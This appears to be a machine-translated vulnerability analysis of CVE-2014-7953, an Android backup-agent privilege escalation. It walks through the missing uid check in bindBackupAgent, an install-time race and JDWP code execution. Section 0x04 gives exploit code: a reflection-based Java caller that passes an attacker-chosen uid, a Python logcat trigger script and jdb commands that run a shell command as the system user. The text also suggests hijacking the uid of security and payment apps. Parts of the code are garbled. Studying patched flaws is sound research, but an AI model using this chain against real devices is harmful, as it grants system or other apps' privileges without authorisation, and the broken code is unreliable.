ADB backupAgent Privilege Escalation Vulnerability Analysis (CVE-2014-7953)
0x00 Abstract
CVE-2014-7953 is an Elevation of Privilege Vulnerability in android backup agent. The bindBackupAgent method in ActivityManagerService fails to validate the passed uid parameter. Combined with another race condition exploitation technique, attackers can execute code as any uid (application), including system (uid 1000 ). This article analyzes the vulnerability in detail and provides the use of EXP. The attack requires android. permission. BACKUP and INSTALL_PACKAGES, while adb shell is an attack surface that meets the attack conditions.
0x01 background
BackupService is a backup function provided by Android. During the backup operation, the BackupManager of the system obtains the backup data specified by the other party from the target application, and then delivers the data to BackupTransport for data transmission. During the Backup recovery operation, BackupManager retrieves data from Transport and passes the data to the target application for restoration. A common scenario is to back up your application data to Google Cloud. When a user logs on to the Google account on a new machine, the data is automatically restored.
Of course, applications that want to use the backup function must implement the BackupAgent component, inherit the BackupAgent class or BackupAgentHelper class, declare themselves in AndroidManifest. xml, and register with a BackupService.
When BackupManager backs up or recovers, it starts the target application process with the target application BackupAgent and calls its onCreate function, to facilitate the backup and recovery operations related to the application logic.
0x02 vulnerability causes
After the above preparations, let's look at the causes of this vulnerability. As mentioned above, the BackupAgent will be called during restoration. Specifically, the bindBackupAgent function in ActivityManagerService:
// Cause the target app to be launched if necessary and its backup agent12819 // instantiated. The backup agent will invoke backupAgentCreated() on the12820 // activity manager to announce its creation.12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");1282412825 synchronized(this) {/*...*/12833 // Backup agent is now in use, its package can't be stopped.12834 try {12835 AppGlobals.getPackageManager().setPackageStoppedState(12836 app.packageName, false, UserHandle.getUserId(app.uid));12837 } catch (RemoteException e) {12838 } catch (IllegalArgumentException e) {12839 Slog.w(TAG, "Failed trying to unstop package "12840 + app.packageName + ": " + e);12841 }1284212843 BackupRecord r = new BackupRecord(ss, app, backupMode);12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)12845 ? new ComponentName(app.packageName, app.backupAgentName)12846 : new ComponentName("android", "FullBackupAgent");12847 // startProcessLocked() returns existing proc's record if it's already running12848 ProcessRecord proc = startProcessLocked(app.processName, app,12849 false, 0, "backup", hostingName, false, false, false);12850 if (proc == null) {12851 Slog.e(TAG, "Unable to start backup agent process " + r);12852 return false;12853 }1285412855 r.app = proc;12856 mBackupTarget = r;12857 mBackupAppName = app.packageName;1285812859 // Try not to kill the process during backup12860 updateOomAdjLocked(proc);1286112862 // If the process is already attached, schedule the creation of the backup agent now.12863 // If it is not yet live, this will be done when it attaches to the framework.12864 if (proc.thread != null) {12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);12866 try {12867 proc.thread.scheduleCreateBackupAgent(app,12868 compatibilityInfoForPackageLocked(app), backupMode);12869 } catch (RemoteException e) {12870 // Will time out on the backup manager side12871 }12872 } else {12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");12874 }12875 // Invariants: at this point, the target app process exists and the application12876 // is either already running or in the process of coming up. mBackupTarget and12877 // mBackupAppName describe the app, so that when it binds back to the AM we12878 // know that it's scheduled for a backup-agent operation.12879 }1288012881 return true;12882 }ActivityManagerService exposes this interface through the Binder. Of course, the caller must have the android. permission. BACKUP permission at the beginning, and shell must have this permission. BindBackupAgent will eventually pass the attacker's controllable ApplicationInfo to startProcessLocked, and finally call its onCreate function through scheduleCreateBackupAgent.
The uid in ApplicationInfo can be arbitrarily specified, which is the root cause of this vulnerability.
0x02 vulnerability Exploitation
However, if you want to exploit this vulnerability, you may encounter several key problems that need to be bypassed by other methods.
SetPackageStoppedState permission check
The Code shows that setPackageStoppedState is called before startProcessLocked to set the target package to Stopped. This requires that the initiator of the binder call has the CHANGE_COMPONENT_ENABLED_STATE permission. Otherwise, a SecurityException is thrown to terminate the function operation. Unfortunately, this is the permission held by a system user. The shell does not have the permission, and the following exception is thrown during forced calling:
However, it can be observed that startPackageStoppedState will be caught when an IllegalArgumentException is thrown, and a log is created and continues to be executed. In this case, race condition, or TOCTOU during PackageManager installation package, you can set a time difference.
The procedure is as follows:
Call the pm installation package and call bindBackupAgent at a certain time during the installation process.
When startPackageStoppedState is run, the package does not exist. The IllegalArgumentException is caught and continues execution.
When startProcessRecord is run, the package has been installed and started with the ApplicationInfo specified by the attacker.
Under normal circumstances, when a package exists, it will be in the following sequence:
If the package does not exist, it will be in the following sequence. At this time, the process can be created, but it will immediately die because the load Code cannot be found. In rare cases, it may stay in the FC dialog box and be usable.
The TOCTOU usage sequence diagram is as follows:
The key point here is the time difference. For example, you can expand the volume of classes. dex and increase the time of dexopt. The POC successfully tested on N7 monitors Copying native libraries to in logcat through scripts. At this moment, the bindBackupAgent call is triggered, and the call is successful almost every time.
HandleCreateBackupAgent check
Let's talk about the call chain:
public final void scheduleCreateBackupAgent(ApplicationInfo app,658 CompatibilityInfo compatInfo, int backupMode) {659 CreateBackupAgentData d = new CreateBackupAgentData();660 d.appInfo = app;661 d.compatInfo = compatInfo;662 d.backupMode = backupMode;663664 sendMessage(H.CREATE_BACKUP_AGENT, d);665 } public void handleMessage(Message msg) {//omit case CREATE_BACKUP_AGENT:1337 Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");1338 handleCreateBackupAgent((CreateBackupAgentData)msg.obj);1339 Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);1340 break;//omit} // Instantiate a BackupAgent and tell it that it's alive2428 private void handleCreateBackupAgent(CreateBackupAgentData data) {2429 if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);24302431 // Sanity check the requested target package's uid against ours2432 try {2433 PackageInfo requestedPackage = getPackageManager().getPackageInfo(2434 data.appInfo.packageName, 0, UserHandle.myUserId());2435 if (requestedPackage.applicationInfo.uid != Process.myUid()) {2436 Slog.w(TAG, "Asked to instantiate non-matching package "2437 + data.appInfo.packageName);2438 return;2439 }2440 } catch (RemoteException e) {2441 Slog.e(TAG, "Can't reach package manager", e);2442 return;2443 }//omit2448 // instantiate the BackupAgent class named in the manifest2449 LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);2450 String packageName = packageInfo.mPackageName;//omit24612462 BackupAgent agent = null;2463 String classname = data.appInfo.backupAgentName;24642465 // full backup operation but no app-supplied agent? use the default implementation2466 if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {2468 classname = "android.app.backup.FullBackupAgent";2469 }24702471 try { 2472 IBinder binder = null;2473 try {2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);24752476 java.lang.ClassLoader cl = packageInfo.getClassLoader();2477 agent = (BackupAgent) cl.loadClass(classname).newInstance();24782479 // set up the agent's context2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo);2481 context.setOuterContext(agent);2482 agent.attach(context);24832484 agent.onCreate();2485 binder = agent.onBind();2486 mBackupAgents.put(packageName, agent);2487 } catch (Exception e) {2488 //omit2496 }//omit2508 }2509
This function is used to search for the defined BackupAgent class in the Package. If it does not exist, it is replaced by android. app. backup. FullBackupAgent and runs its onCreate function.
If the uid of the process is controlled as system, put our code in the onCreate function. However, it is a pity that there is a check at the beginning, comparing the uid of the current Process (note that the ActivityThread code is executed in the Process space where the package is started, so Process. myUid is the uid of the target package. This removes the idea of using onCreate.
However, the process and VM are ready, and the debuggable flag of the installation package can be specified by the attacker. Then, when jdwp attach runs the code, the code will be blurred.
0x03 shell...
If successful, the system identity process has been started.
If we open the test application again, we will see that the same package process of two different UIDs coexist, for example:
There are two cases:
The process starts with the uid of the system. However, since onCreate is not instantiated or called, this process is an empty shell. This is the most common situation.
The process is started with the system uid. a fc dialog box appears when Application Crash is started. This dialog box is triggered when you directly access the backupAgent interface in rare cases.
In both cases, the breakpoint triggered after attach is different. For the first thread, the thread will block on nativePollOnce, as shown in:
One of the key factors to use this situation is to let the thread jump out of nativePollOnce. That is to say, it needs to receive a message before executing the code at the breakpoint, but the strange thing is that the process started at this time is an empty shell and there is no GUI interface. The conventional operation trigger and intent trigger have no effect. Isn't it difficult to be strong? Here, we need a non-GUI event, non-component event message that any ActivityThread will receive and trigger it to jump out of this loop. This can be achieved through some tricky method, and readers can think about what can achieve this purpose.
The second type will be disconnected from handleApplicationCrash due to exception capture. This is a good solution and you can directly break down the breakpoint.
In short, we can use intellij or jdb as the carrier and use jdwp to execute code with system permissions or other uid identities. Unfortunately, on 4.4.4, the system does not have the inet permission, so it cannot pop up the favorite bind/reverse shell. :(
Effect attached:
System:
Of course, we can also change to the uid of processes such as xx guardian, xx money shield, and xx Fu Bao to control these sensitive applications. Attached to xx guardian:
We can see that our application is already having the same uid as xx guardian, so we can see how to use it to our imagination.
0x04 part POC:
Myapp:
public class Test { public static void main(String []args) { test(Integer.parseInt(args[0])); } public static void test(Integer uid) { try { Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative"); Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault"); Object iActivityManager = bindBackupAgent.invoke(null); Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class); ApplicationInfo applicationInfo = new ApplicationInfo(); applicationInfo.dataDir = "/data/data/com.example.myapp"; applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1"; applicationInfo.processName = "com.example.myapp"; applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk"; applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk"; applicationInfo.taskAffinity = "com.example.myapp"; applicationInfo.packageName = "com.example.myapp"; applicationInfo.flags = 8961606; applicationInfo.uid = uid; bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } }}Compile it as a jar and run it through app_process. Note that executing myapp without installation will cause subsequent INSTALL_FAILED_UID_CHANGED errors. For details, refer to my denial-of-app analysis.
Monitoring py script:
From subprocess import Popen, PIPEimport osKW = "Copying native libraries to" # KW = "dexopt" OS. system ("adb logcat-c") p = Popen (["adb", "logcat"], stdout = PIPE, bufsize = 1) with p. stdout: for line in iter (p. stdout. readline, B ''): if line. find (KW )! =-1: print line OS. system ("adb shell/data/local/tmp/test. sh 1000 ") p. wait () test. shexport ANDROID_DATA =/data/local/tmp/export CLASSPATH =/data/local/tmp/MyTest. jarapp_process/data/local/tmp/com. example. myTest $ @ jdb command: threadsthread 0 xxxxxxsuspendstop in android. OS. messageQueue nextrunprint new java.lang.Runtime.exe c ("id ")
0x05 repair:
Google easily fixes this vulnerability. It verifies the system-level permissions of FULL_BACKUP on the bindBackupAgent interface and removes the original entry.